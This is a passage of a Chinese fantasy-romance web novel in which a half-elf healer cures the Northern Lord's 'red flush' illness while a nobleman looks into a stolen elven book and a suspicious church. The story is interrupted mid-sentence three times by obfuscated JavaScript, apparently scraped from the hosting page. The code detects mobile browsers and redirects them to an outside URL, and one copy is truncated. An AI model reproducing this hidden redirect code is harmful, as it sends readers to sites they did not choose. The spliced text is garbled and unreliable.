交谈间,两人走至二楼,珍夫人推开一间房门,很细心地为粼恩介绍几个拉铃分别有什么作用,随后对粼恩道:“距离晚餐还有一段时间,待会儿您可以四处逛逛也可以在房间里休息,如果有需要也请随时吩咐。”
粼恩谢过后探索了一下房间,她的行李被妥善地放在了深色的壁橱中,房间内有一道漆了绿色的小门,与之相连的是一间物件齐全的梳妆室。
壁橱的侧面是一扇高大的窗户,窗户下摆着一张舒适的黄色软躺椅,暗红色的窗帘很厚重,花纹繁复,正尽职地遮挡傍晚时分的寒气。
这实在是一个相当舒适的房间。
粼恩换了一身衣服,又走至床边坐下,她伸手抚了抚上面绣着精细花纹的被面,不由得感慨这样一个房间都比得上她自己家的大小了。
不过粼恩心里没有生出多少嫉恨,倒是觉得这一路上赚的诊金终于有了具体使用的目标——给家里换一个崭新的壁炉,修一修雨天会漏水的厨房,再添几套厚厚的冬衣与毯子。
不过在此之前,要把手头上的事情解决。她打开橱柜,清点了一下塔兰为她准备的一些药剂,因为奢华宅院而震荡的心也安定了下来。
.
晚餐时间很快到来,粼恩跟随侍者下楼,来到餐厅坐下。
费尔西斯先生也换了一套衣服,坐在主位,他摇了摇铃,一道一道菜端了上来。
费尔西斯先生的府邸很壮观,可晚餐却没有想象中的奢侈。
倒不是说主人家有意苛待粼恩,只是粼恩的遐想实在有些天马行空,她还以为像这样的家族吃饭时无论人多人少,丰盛的食物会如同流水一般端上来,从长桌的这头一直摆到那一头,还有专门的面包总管站在不苟言笑的费尔西斯先生后给他切面包。
哎呀,不行了。
这样的画面单是想想就很好笑了。
用餐时两人没有对话,用完后粼恩打算回房间,却被克劳斯叫住了。
“粼恩医师,还请移步茶室,”费尔西斯先生对她微微颔首,“有些事情需要详谈。”
穿过门廊,粼恩跟随者克劳斯来到茶室内,珍夫人已经为二人泡好了茶。见两人落座,她静静地离开,将空间交还给二人。
“有什么事吗?费尔西斯先生。”粼恩问道。
“是关于治愈‘红晕症’的条件。”克劳斯看向粼恩,她的脸上还是没有什么表情,但不知是不是相处久了,他竟看出来她有一点紧张。
难道是他的缘故吗?
尽管这样的念头一闪而过,克劳斯的语调仍是不变:“我答应了精灵会帮助你调查,但具体是什么事情,有什么线索我尚未知晓。为了更好推进调查,你应该告知我必要的信息。”
原来是为了这件事。
粼恩还以为调查要在治疗结束后开始,不过他既然主动提起,她当然也求之不得。
“我想要探寻‘红晕症’的源头,”粼恩向前倾了倾身体,“塔兰发现这种能引发病症的毒素及其症状在那本失窃的古籍上有提及过。因此我和塔兰怀疑,是否有人得到了那本古籍并用它来做了一些不好的事情。”
克劳斯颔首,道:“那本古籍我也在调查中,如果有什么可疑的地方或者相关线索我也会通知你。”
他沉默了片刻,又似是想起了什么:“如果病症是由这种毒素引起的,那么解毒的药剂是否只有一种?”
粼恩迟疑了一瞬,解释道:“根据我和塔兰的实验,应该是这样的。药剂使用了好几种植物制作,但最关键的蓝叶藻必不可少,其他解毒的植物根本无法替代它的效果。”
“所以,要想治愈病症,蓝叶藻是不可缺少
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230024|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的一环?”
“对,”粼恩谨慎道,“目前来看是这样的。”
克劳斯垂下睫毛,心中思绪不断。
粼恩不清楚,但他知道并且拥有一小管“解剂”。如果粼恩的话没错,而丰赐圣母教的药剂真的可以治愈“红晕症”,那么他们一定和那本精灵古籍有着千丝万缕的联系。
要告诉她吗?克劳斯抬眸看向粼恩,她显然只是把这场谈话当作普通的了解情况,将她知道的如实道来。
很天真,涉世未深。
但这也同时说明,她的话大概率是真的。既然如此,接下来就要专门调查一下丰赐圣母教了。
克劳斯做好决策后便站起了身,粼恩不明所以但也跟着站了起来。
“夜深了,”克劳斯向前走,难得将客人送回了房间门口,他对粼恩道,“早点回去休息,明日一早我们就出发。”
.
次日清晨。
天空像深色的绸缎,还呈现出一种蒙蒙的灰蓝色,只有一道白光如同缝在绸缎边角的花边,轻轻地缀在天际。
太阳还没有升起,粼恩就已经戴着帽子站在庄园门口看着侍者们将行李提上马车。
相较来时的轻便,这次要带的东西则要多上不少,加上需要乘坐马车的两人,一共用上了三辆四轮马车。粼恩仍与克劳斯同乘一辆马车,告别了珍夫人,他们在苍茫的风中前行。
马车向北境腹地进发,越过一个个山坡,穿过一片片树林,小半日过去,一座乡间宅院的轮廓渐渐出现在道路的尽头。
虽然同是乡野,环境也不错,但这座宅院显然与小弗朗索瓦安置西莱奥的小院不同。这里的守卫很多,盘查也十分严格,幸好有费尔西斯先生同在,马车得以顺利地在宅院门前停下。
“克劳斯,”才刚下马车,一个女子的声音由远及近快速地传了过来,“你终于回来了,一切都还好吧,医师在哪里?”
女子不仅语速极快,走路的速度也不容小觑,粼恩还没完全从马车上下来,就见她已杀到费尔西斯先生的面前。
她和费尔西斯先生一样,有着深褐色的头发与浅褐色的眼睛,眉骨到眼窝之间的落差很大,同样深邃,这也是粼恩判断他们二人有血缘关系的缘故。
女子的身量看起来比自己矮一点儿,但气势很足,眉毛高高挑起显得很张扬。
不等克劳斯将一个一个问题回答清楚,女子就瞧见了他身后站着的粼恩,她往前迈了一大半,径直问道:“你就是那位医师?”
噢,说话方式倒也很像。
直截了当,直指重点。
粼恩点了点头,女子马上道:“太好了,需要休息一下吗?”
得到摇头的回复后,她立马挽上了粼恩的胳膊,大步迈开就要往房子里冲。
这个举动倒是让粼恩吃了一惊,她看得出女子和费尔西斯先生一样做事不讲究没用的虚礼,但是这样的举动未免也太直接了吧?
幸好费尔西斯先生出手拦住了,不然粼恩怀疑女子马上就能把自己往病人面前送。
“罗伊珊,别太着急。”费尔西斯先生一边往房子里走一边为两人介绍了彼此,又问道,“姨母的情况怎么样了?”
罗伊珊微不可见地摇摇头:“情况不太乐观,如果可以最好马上治疗。”
“粼恩医师,”说到这儿,罗伊珊转过头来看向粼恩,神情严肃,“你真的可以治愈‘红晕症’吗?”
48. 第 16 章
这样的质疑,粼恩见得不少,可出乎意料的是,还未等她开口,费尔西斯先生就先对他的表姐摇了摇头,阻止她再说一些冒犯人的话。
“克劳斯,”罗伊珊瞪了他一眼,他却丝毫不让半步,半晌,罗伊珊叹了一口气,妥协道,“好吧。”
她转过头来面向粼恩,语气诚恳:“粼恩医师,烦请你务必治好我的母亲。”
粼恩点点头,没说什么多余的话,但她身上沉静的气质却让罗伊珊的心平静了许多。
穿过连廊,走上楼,最里面的就是北境境主休息的房间。
粼恩提着装有药剂的包裹,正准备推门而入,罗伊珊着急的声音又响了起来:“等等——我,我和你一起进去。”
粼恩脚步一顿,下意识看了克劳斯一眼,又看向罗伊珊拒绝道:“我治疗的时候,不允许有其他人在旁。之前也是这样的,没有特例。”
“但——”罗伊珊的潜台词呼之欲出:万一你要伤害北境境主怎么办?这种假设虽然唐突,但不是没有可能发生的。
可粼恩的身份同样不能暴露,她摇摇头,坚决不肯退让半步。
两人僵持着,直到克劳斯上前一步扶住罗伊珊的肩膀,道:“让我和医师一起进去吧,我向你保证,姨母会没事的。粼恩医师,你同意吗?”
费尔西斯先生知道她的身份,同时也能让罗伊珊安心一点,这是一个折中的办法。
粼恩犹豫了一下,点点头,推开了房间的大门。
房间陈设华丽精美,却因光线昏暗而莫名生出几分颓靡的色彩。
粼恩走向床榻,那里已经摆放好了桌椅以便她治疗,她将包袱解开,药剂依次排列,再走到北境境主跟前仔细地观察她的脸色。
罗伊珊生的与她很像,只是她面部骨骼线条更突出,形容也更加凌厉一点儿。她躺在那里,陷入了半昏迷中,但仍让人不敢冒犯。
因为“红晕症”,境主的面色十分红润,但脖子以下已经长满了紫红斑块,粼恩抬起她的一只胳膊,将衣袖卷了起来,裸露出来的皮肤红斑遍布,显然到了很危急的情况。
见此,粼恩并无迟疑,将境主的头垫高后她取出一个瓶子,取掉瓶塞后将粘稠的液体往她的口中倒。
这就是能治愈“红晕症”的药剂吗?
克劳斯坐在床榻的另一边,不由得将身子往前倾了一点儿。
那瓶药剂呈现出一种半透明的蓝色,液体不算清澈,里面漂浮着根须状的物体。
他想起粼恩提到过的“蓝叶藻”,又想到了那一小支来自丰赐圣母教的药剂,药剂的颜色与粼恩刚刚喂给姨母的很像,只是液体更加浑浊。
这应当就是“红晕症”的药剂了。
克劳斯微微松了一口气,又见粼恩拿出另一种液体给姨母喝下,并在她的右手手臂敷满了棕褐色的膏状物。
这又是什么?
粼恩没有擦掉手上黏糊糊的药膏,而是握住了境主的右手闭上了眼睛。
失传己久的魔法?还是精灵秘术?
克劳斯皱了一下眉头,等着她的下一步举动。
然而,粼恩没有别的举动。
她只是静悄悄地坐在那儿,闭着眼睛一动不动。
克劳斯坐了一会儿,粼恩还是没有动静,他忍不住想要站起来,却突然感到一阵轻微的恍惚。
他环顾四周,发现不知什么时候开始,房间内的水汽变重了。虽然眼睛看不出来,但克劳斯察觉到脸颊正被若有若无的水雾抚过。姨母床头摆放的花束上,竟肉眼可见的结出了水珠,滚动着,从花瓣上轻轻落下。
嗒——
克劳斯心中一惊,只见粼恩藏在发丝里的耳朵弹了出来,帽子被掀落在地,耳尖则飞快地抖动着。
她脸颊靠近耳朵的那处皮肤渐渐裂出一道缝隙,边缘映着一点儿蓝绿色的荧光。
克劳斯意识到,药剂起效了。
【嘿,笨丫头!】
【几天不见,粼恩变厉害了好多!】
【咦,怎么不见塔兰?】
【呀,好奇怪的味道,这种毒素的味道好久没有闻过了。】
【她肯定厉害啊,那天她都可以杀死一个旅者了。】
“芬瑟儿”们还是和以前一样吵吵嚷嚷,但现在粼恩已经能够忽略它们的声音,专心将境主身上的毒素引导出来了。
在她的“视野”中,光点跳跃闪烁,带着蓝叶藻根茎制成的汁液找到了境主身上被毒素侵染最深的地方。
毒素慢慢消解,一些扎根极深的毒素被粼恩引导着从手臂排出来,大部分毒素已经解了,剩余的还需两三日才能彻底祛除。
这时,小妖精们纷纷不见,粼恩意识到自己的精神一定很疲惫了。
粼恩睁开眼睛,映入眼帘的先是被濡湿的被面,紧接着闻到了熟悉的异香。
啊!忘记拿东西装住排出来的液体了!
粼恩一阵慌乱,被子虽然只被弄湿了一小部分,但是沾了毒素必然要销毁才比较稳妥。
这么金贵的被子,价值肯定不菲,她是不是应该赔偿?
她想了一下之前的经历,当时她并不会将毒素直接排出病人身体,因此从来没有弄脏过他们的物品。
这下可没有参考了。
粼恩又想起了以前,玛琳娜是一个矿工,闲暇时会做一些工艺品带到镇上去卖,粼恩也跟她去过。
镇上的有钱人虽然不能和她后来见识过的比,但他们拥有的,已是粼恩一家几十倍有余了。
可这些人尽管已经十分富足,但当小贩或者路过的儿童不小心弄脏了他们的衣服,他们总会不依不饶,非要数倍才肯罢休。
从那以后粼恩就知道,有的人不是拥有的越多,心就越宽广,他们的心眼反而比一粒麦粒还小。
那……
粼恩小心翼翼地转过身,只见费尔西斯先生起身快步走了过来。
“情况如何,治疗结束了吗?”他观察着姨母的脸色,问道。
粼恩摇摇头,又点点头:“毒素已经祛除了大半,还需要几天才能完全治好。不过病症会导致身体孱弱,她最好多加休息,不要太劳累了。”
闻言,克劳斯缓缓舒出一口气,自境主得了红晕症以来,阴云便笼罩了他们的心灵。
为此,境主的大女儿,费尔西斯小姐接替了她的权柄治理北境,二女儿罗伊珊带她至乡间照看休养,克劳斯则奔波各地,终于在费舍的府邸遇到了能够治愈病症的医师。
而现在,克劳斯看着粼恩,她橘色的头发被汗濡湿了小半,软趴趴地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236315|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贴在脸上,让她原本冷淡的脸也显得柔和。
他微微一怔,直到粼恩不安地抿唇,克劳斯才意识到这样盯着人的行为并不妥当,急忙将头扭开了。
克劳斯从胸前的口袋拿出一方丝帕递给粼恩,眼神仍落在旁:“这次真的多谢你了,粼恩医师。还请放心,答应帮助调查的事情,我们一定会做到的。”
粼恩接过丝帕,见费尔西斯先生的目光正好落到被面上,顿时一阵胆战心惊。
但她仍忍不住提醒:“被子沾了毒液,最好销毁掉。等一会儿让女仆给境主大人擦擦身。”
费尔西斯先生颔首,倒也没有要她赔偿被子的意思。粼恩松了一口气,见他在原地站了一会儿,突然意识到什么似的转身向门口走去。
他的一只手按在把手上时,又转了过来提醒粼恩道:“我去和罗伊珊报平安,她等一会儿会进来,你最好先将帽子戴上。”
粼恩一愣,来不及收好丝帕就手忙脚乱地往头上摸去,啊,原来是帽子掉了。
她蹲下捡起帽子戴上,还未站起身,余光便见费尔西斯先生推开木门走了出去。
门外的光亮一下子冲了进来,粼恩眯了眯眼,似乎瞥见他的唇角微微向上翘了几分。
哎,他真的挺重视家人的。
.
午后时光在罗伊珊激动的大哭声中飞速流过。
克劳斯则坐在书房,提笔写信。
除了小芒传递回来的消息,回到北境后各方传递的信息也比在外要多得多。
其中大半都是有关丰赐圣母教的。
该教会已有数百年历史,向来秉持着“众生平等,享受现世”的教义行事,在民众心中毁誉参半。
这一次病症泛滥,修道院救治的行为却也符合他们的行事准则。
表面上没有任何可疑之处,但——
克劳斯的目光落到了教会十二修者的名单上。
丰赐圣母教因其教义,受到了许多“半人”的追捧与信奉,但这象征教会最高权力的十二人都是人类,没有其它种族。而且他们大多数出身中心城,来自北境的甚至只有一人。
克劳斯的注意力聚焦到其中一个名字上,他的笔尖停滞了片刻,迅速拿出一张新的信纸开始书写。
待一切都写完后,已是傍晚。克劳斯封好信件,其中一部分需要小芒去送,另两封则给邮差便好。
克劳斯揉了揉眉心,抬起头,诺大的书房里没有小芒的身影,大概是飞到哪里去玩了。他没有太在意,将两封信件交予书房外的侍者去寄信后,克劳斯走到窗边,推开窗,听到了熟悉的扑打声。
这是小芒扇动翅膀的声音。
克劳斯循声而望,只见苍茫的土地上,小芒落在一棵矮树上兴奋地扑打着翅膀,树下则站着一个熟悉的身影。
那人有着阳光一般暖色调的头发,风长长地吹来,橘色发丝飞舞着,在灰绿色的原野上显得格外亮眼。
“母亲——”门外又传来罗伊珊激动的哭声。
克劳斯轻轻叹了一口气,脸上却浮现出一丝他自己都难以察觉的笑意。
心中的大石得以卸下,笼罩在费尔西斯家族头上的阴云终于被驱散了一角。
克劳斯望向天边,阳光透过厚厚的云层落了下来。
49. 第 17 章
乡间府邸因境主情况好转变得热闹非凡,境主还未清醒,罗伊珊和克劳斯两个主人还在忙着自己的事情,粼恩难得空闲,干脆出了府邸透透气。
小道和树林守卫众多,粼恩只好在府邸后面的草地上漫无目的地闲逛。
此时已是傍晚,太阳沉寂在云层之后,天地间晦暗不清,一切都笼罩在朦胧之中。
风在原野上穿梭,发出呼呼的声响,粼恩缩了缩脖子,将双手插进口袋中向矮树下走去。
这只是一件很普通的外套,口袋自然也不会做得很精细,因此入手时突如其来的柔软质感让粼恩愣了一下。
她把东西拿出来一看,原来是费尔西斯先生递给她擦汗的手帕。
粼恩摩挲了一下,面料精细,绣着暗纹,她盯着手帕看了一会儿,又叠好放回口袋。
枝叶震动,唰唰地响,期间交织了几声扑打声。粼恩循声抬起头,只见一只黑色的大鸟站在矮树上,歪着头瞧她。
这好像是……费尔西斯先生的信使?
粼恩回想起它啄自己头发的情景,心中警惕,但见它此时并无扑人的意向,只是不时侧头看她。
她也慢慢生出几分好奇,顺着大鸟的动作歪头,一人一鸟定定不动,只有头在摇来摇去。
“小芒。”
粼恩正摇得愉快,身后却传来一个熟悉的声音,她转头一看,费尔西斯先生正踏着暮色而来。
“粼恩医师。”费尔西斯先生对她颔首,他始终不露声色,粼恩却觉得他的脚步他行走的姿态要比以往轻盈得多。
这并非是说费尔西斯先生走路的姿态笨拙,正相反,他的仪态翩翩,外套虽然长及小腿,却不压身高,反而让他身形修长。
他的步履稳重,既不像毛头小子那般轻浮,也不像中年男子因为肚子太大所以走路时喜欢把腿往两边撇。
粼恩所想的“轻盈”,是一种精神状态上的轻盈,仿佛多日压力如冰雪在一瞬消融,于是他原本的面貌也展现出来了。
不过,粼恩一联想到他是因为亲人的痊愈而高兴,不由得翘了一下嘴角。
克劳斯被风一吹,头脑也清醒了不少——如果想要叫小芒送信,他大可以站在书房里吹哨,何必莫名其妙地下楼又莫名其妙地走到府邸后面的原野上。
他蜷了一下手指,竟一时间忘记自己为什么要走到这里了。
两人面对面站立着,无言以对,半晌,克劳斯才微微一偏头,无所事事般侧身示意粼恩同他往回走。
暮色越来越浓,旷野里除了猎猎风声,只余两道脚步声交错。
“境主大人大概还需两日才能清醒。”沉默中,粼恩先开口说话了,过了一会儿她又补充道,“至于完全治好也需要几日。”
克劳斯“嗯”了一声,又道了一声“谢谢”。他忽然不知道该说些什么,于是又将双手插回口袋,指尖恰好碰到一个冰凉凉的物体。
他的手一顿,继而回想起这是那管来自丰赐圣母教的药剂,克劳斯想了想,将其拿出来交给粼恩,道:“这是来自中心城修道院中的一管药剂,颜色与你喂给姨母的药剂相似,或许他们用的药剂里也含有你所说的‘蓝叶藻’。”
粼恩一怔,接过药剂,又听克劳斯道:“如果你可以确定其中成分,那么我们调查的范围就缩小了。但如果无法确定也没有关系,我们不会为此为难,你无需感到压力。”
这样的话真是傲气,但粼恩看着费尔西斯先生冷峻的侧脸,又觉得他说的不过是实话。
她将药剂收好,府邸的正门也近在眼前,再往前走交还手帕的行为就容易被其他人看见从而产生误会了。于是粼恩将叠好的手帕拿了出来,递给费尔西斯先生,见他面上冷然又急忙补充自己没有用过也没有弄脏,也直到这时,费尔西斯先生才接过手帕塞回前襟的口袋中。
.
接下来几日,消息随风不断在这座乡间宅院飞进飞出,克劳斯大多时间都留在书房处理事务,粼恩则恪尽职守地为境主祛除剩余毒素。
因此两人虽同在一座房子中,却没有见过几次面,也没有别的交谈。反倒是罗伊珊因为探视照顾母亲的缘故,与粼恩之间的距离飞速拉近。
罗伊珊性格爽快,粼恩的沉默寡言又只是生性内敛而非孤傲,自然无法招架罗伊珊热情的逼近。
她喜忧参半,既担忧自己的身份被发现引起不必要的麻烦,又为在新环境里收到了来自同辈的、同性别的友好而自然地感到喜悦。
午后,粼恩结束每日的治疗,罗伊珊探视照料完母亲,两人会在小会客厅里休息片刻,那里阳光正好,非常适合放松身心。
“粼恩,你来自哪里?”罗伊珊坐在软椅上看向粼恩,窗外的阳光透进来落在她的脸上,使她的脸展示出一种近乎透明的白。
罗伊珊不由得好奇,像这样一位厉害的年轻医师,先前为何从来没有听过她的名声?
听到这个问题,粼恩打起精神,谨慎道:“我来自西境。”
“西境?我们去过几次西境,摩比什城,荷华明都,坎特雷伯市,”罗伊珊挑了挑眉,回忆道,“啊当年,闻名全王国的矿石商费舍还是一个初露锋芒的毛头小伙子呢。你呢,你来自西境哪里?”
摩比什城,荷华明都,坎特雷伯市,这些西境的大城市粼恩都没有去过,哪怕是从镇上走到最近的荷华明都都要几天几夜呢。
先不谈路上遇到“旅者”的风险,单是去往大城市的目的都没有——聚居地附近有矿区,因此大部分“半人”都是矿工或者做一些与矿有关的劳苦工作。
在“红晕症”爆发之前,粼恩做过后厨帮工,做过侍者,却从来没做过医师,这件事可不能告诉罗伊珊。
她摇摇头,只道自己来自不知名的小地方。
罗伊珊眨了眨眼睛,没再逼问,转而谈起母亲的病情。
粼恩闻言,不由得问道境主生病的时间以及是否有接触过什么物品。
“母亲虽然年龄大了,身体却很康健,在生病的前不久,她还去了中心城一趟参加每年的金雀花之会。”
维洛兰王国由四大境一中心城组成,每年中心城城主与四大境主都会在中心城碰面,举行金雀花之会,投票并做出各项决策。这是每一个维洛兰人都知道的事情,因此罗伊珊并没有做多隐瞒。
“那……她有带什么回来吗?”粼恩问道。
这可就多了。
费尔西斯夫人是北境境主,单是手下准备的礼物就足够装下几辆马车的了,更不用提在中心城交际收到的东西。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243869|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>珍宝、首饰、土地、无形的权柄……
罗伊珊皱了皱眉,这些东西似乎没有什么特别的地方,啊,等等,今年中心城城主给每位境主都送了一个拳头大小的红宝石。
还有别的物品吗?
罗伊珊犹疑,她回想起那颗红宝石,没有任何装饰,仅仅做了切割,但罗伊珊见母亲握在手里,就好似握着一颗滴血的心脏。
当时并没有什么感觉,但现在一回想,罗伊珊不由得心中一惊。
难道是这颗宝石出了问题?
她坐直了身子,不禁继续假设:如果真的是宝石有问题,那么其他几位境主是否也得了“红晕症”?那么赠予宝石的中心城城主,又有何目的?
罗伊珊心中一沉,缓缓起身,道了一声“失陪”便起身离去了。
粼恩见她背影匆匆,隐约意识到事情的关键或许就在这里。
这两日,她利用晚上的时间研究了一下费尔西斯先生给她的那管药剂,确认了里面的确有放蓝叶藻的根茎。
如此看来,和“红晕症”有关的线索就清晰了许多。
中心城的丰赐圣母教,精灵古籍,深水域的蓝叶藻和毒素,以及实际上不会人传人的病症。
粼恩低头沉思片刻,也起身往楼上走去。
.
克劳斯坐在书房里,面前是厚厚一沓书信,罗伊珊则在一旁焦躁地走来走去。
“罗伊珊,你就不能坐着想事情吗?”克劳斯揉了揉眉心,无奈道。
罗伊珊瞪了他一眼,鞋跟踩在地面发出一连串声响:“不能!”
她双手环抱,语气焦躁,思路却很清晰:“如果问题真的出现在那块宝石上,那么中心城必然抱着更大的阴谋。病症先起于‘半人’,或许只是他们转移视线的手段,又或者——”
“——毒下在矿区,他们根本不在意‘半人’的死活。”克劳斯补上了后半句话。
此话一出,两人都陷入了沉默。
“半人”的社会地位低下,在维洛兰王国已是“共识”。但大批量地害死“半人”,这个消息一旦放出仍会使王国动荡。
而且——
克劳斯垂了一下睫毛,如果此事是真的,粼恩会怎么想?
身为“半人”,却拥有能够治愈病症的能力,而她救治过的不少人甚至对“半人”并不友善;就连害死了许多“半人”的病症,也是由人类引起的。
她会怎么想?
离开?
就算离开维洛兰,她也很难寻找到一个能够获得身份认同的地方。
精灵对有同样血脉的混血儿相对友善,但也不将她视为同类。人类傲慢地排斥,而“半人”群体中同样也存在分裂。
北境的“半人”聚居地克劳斯曾去过几次,与人类社会并无不同,纷争与祥和并存,但生存环境上的恶劣使他们敏感,在相处中有着更强攻击性。姨母也曾颁布过条例,试图缓和矛盾,可效果并不显著。
而现在,克劳斯有所预感,矛盾随着这个病症的爆发将更加剧烈。
叩叩叩——
凝滞的环境中,一阵敲门声响起。
负责照顾北境境主的侍者的声音隔着厚实的木门传了进来:“罗伊珊小姐,克劳斯先生,境主大人清醒了。”
50. 第 18 章
境主清醒了?
克劳斯与罗伊珊相视一眼,起身齐齐向门口走去。
推开木门,狭长的走道里,他与站在楼梯口的粼恩对上了视线。
“粼恩——”罗伊珊也发现了粼恩的身影,她快步向前,急切道,“我的母亲醒过来了,快随我一起去看看!”
粼恩一怔,立即反应过来,三人步履匆匆,来到境主休息的房间。
北境境主正半倚在床头,见到来者,她先是一愣随后便微笑起来。
“母亲!”罗伊珊率先扑了上去,膝盖狠狠地撞到地上,她却不觉痛似的,目光紧紧地粘着境主,眉头也不曾皱一下。
罗伊珊的动作莽撞,双臂环抱境主腰身时倒是小心翼翼的,生怕压到哪里。
“让你担心了,罗伊珊。”境主的声音低沉,看着五十岁左右,尤带着几分病气。然而她脸上的皱纹不让人觉得生命走向衰老,反倒平添一份气势。
境主抬手摸了摸罗伊珊卷曲的长发,手背上的红斑点点,她却不甚在意似的将目光放到了克劳斯和粼恩身上:“也辛苦你了,克劳斯。这位是——”
被这样一位常居高位的女士注视着,粼恩心底有些发慌,她犹豫地张了张嘴,一时间不知如何介绍自己。
“姨母,这位是粼恩医师,正是她治愈了您的病症。”费尔西斯先生适时开口,缓解了粼恩不善言辞的尴尬。
粼恩在心底松了一口气,朝境主致意,然后稍稍侧过头,余光中,费尔西斯先生闯入视野,他面上含笑,一片欣喜之意。粼恩见了,不由得一晃神。
费尔西斯先生为境主大人奔波许久,病人终于苏醒,他为此感到高兴当然再正常不过了。只是粼恩与他相处时,他往往是一副严肃、不怒自威的模样,现在乍一看他展露笑颜,她心中难免会有一丝讶异。
而且——
粼恩将目光收了回来,费尔西斯先生平时的气势很足,比起他的容貌,众人率先注意到的是他身上流露出来的威严感。
也是直到现在,粼恩才注意到他长有一副俊美容貌。
“对,母亲,”罗伊珊将泛滥的眼泪逼回眼底,她紧紧地握住她的手,强调道,“如果没有粼恩,那么——啊,我要快点将您醒来的消息告诉姐姐!”
“粼恩,”尽管不舍,她还是站起身来,恳切道,“还麻烦你检查一下我母亲的身体。”
粼恩自然应允,只是没想到境主大人不仅让费尔西斯先生出去,也叫其他仆人不要留在房间里。
她有些紧张,但境主却没有提出别的要求,只是在她检查完叮嘱后,握住了她的手,问道:“其实你是一个混血儿吧?”
境主的话来得直接,粼恩猝不及防,下意识朝耳朵的位置摸了一把。
她摸到的只是帽子的布料,耳朵没有暴露,但刚才的举动显然将混血儿的身份坐实了。
粼恩愣在原地,一时间什么话都说不出来,既想要往门外跑,双腿又僵在原地。
手心布满冷汗,却被境主牢牢地攥住了。
“没关系的,没关系的,”费尔西斯的掌权人语调意外的轻柔,她用哄罗伊珊一样的语气安抚着粼恩,“有这么精湛的医术,一路上吃了不少苦吧?”
她拍拍粼恩的手背,继续道:“克劳斯应该知道你的身份?他的心思比罗伊珊细腻很多。不要紧张,我们对‘半人’没有什么偏见。”
似是听出境主并无恶意,粼恩慢慢放松了下来,小心试探道:“您……是怎么发现我的身份的?”
“这没有什么难处,只要和你们多接触。”境主没有直接回答这个问题,但她沉稳的目光却让人心生信服,不由得想要依赖。
“更何况你还治好了我的病症,我们感谢你的心情并不会受你真实身份的影响,也许罗伊珊、克劳斯他们已经允诺了什么,但是——”境主偏头咳嗽了几声,又打量了一下粼恩略显消瘦的身形,“你还有没有什么愿望?‘半人’可以从事的职业有限,你的医术精湛,不要浪费。我们可以让你——”
“您对‘半人’没有偏见就已经足够了。费尔西斯先生也答应了我的条件,我没有什么更多的要求了。”
粼恩打断了她的话,境主听出她的语气里没有奉承的成分,也意识到以这样一个年轻半人女孩的阅历提不出什么更高层面的需要了,她叹了一口气,道:“好吧,不过你以后有其它想法,今日的话并不作废。”
粼恩点点头,没有将这句话放在心上,转而问起了关于病症的问题。
.
境主才清醒没多久,身体还很疲倦,因此两人没多说些什么她便又沉沉睡去。不过在她睡着之前,还和粼恩透露了一些关于病症的事情。
红宝石……
粼恩蹙眉,推开房门,遇到了等候在门口处的两人。
“境主大人已经睡着了。”
“啊,没事的,我进去陪陪她。”罗伊珊心切道。
咔——
木门打开又合上,粼恩转过头,与克劳斯对视。
“费尔西斯先生——”
“粼恩——”
安静的走道里,两人同时开口,又齐齐顿住。
半晌,克劳斯才开口对粼恩道:“关于调查病症的事情,我们有了一些眉目,到书房来吧。”
粼恩点点头,跟在他身后。乡间府邸虽说用来修养身心,但实际面积很大,在到达书房前,他们先要穿过一条狭长的走道。
走道昏暗,两侧挂了许多肖像画,只有尽头的窗户透进些许微光,还被费尔西斯先生挡住了大半。朦胧中,粼恩生出一种被画中人物注视的错觉,她下意识跟紧两步,差点儿没撞到费尔西斯先生身上。
他回过头,微光中,那浅褐色的眼珠流转着如琥珀一般的光泽。
“怎么了?”他问。
粼恩讷讷地摇头,两人继续朝书房走去。
走进书房,两人纷纷落座,粼恩不善言辞,克劳斯在想着怎么开口,一阵扑啦啦的振翅声打破了凝滞的沉默。
小芒从窗外飞了进来,站在书桌上不动声色地注视着他们。
“粼恩。”费尔西斯先生的声音响起,粼恩随之望向他。
被这双碧绿色的眼睛注视着,克劳斯不由得顿了一顿,才开口道:“关于‘红晕症’以及精灵古籍,我已经查到一些东西,等姨母身体再好一些后,我会亲自到中心城一趟。如果你有什么其它消息,也可以告诉我。”
去中心城?!什么时候?!
粼恩坐直了身体:“我也要去!”
她强调道:“当时塔兰也说过的,我也要去中心城。”
克劳斯反问:
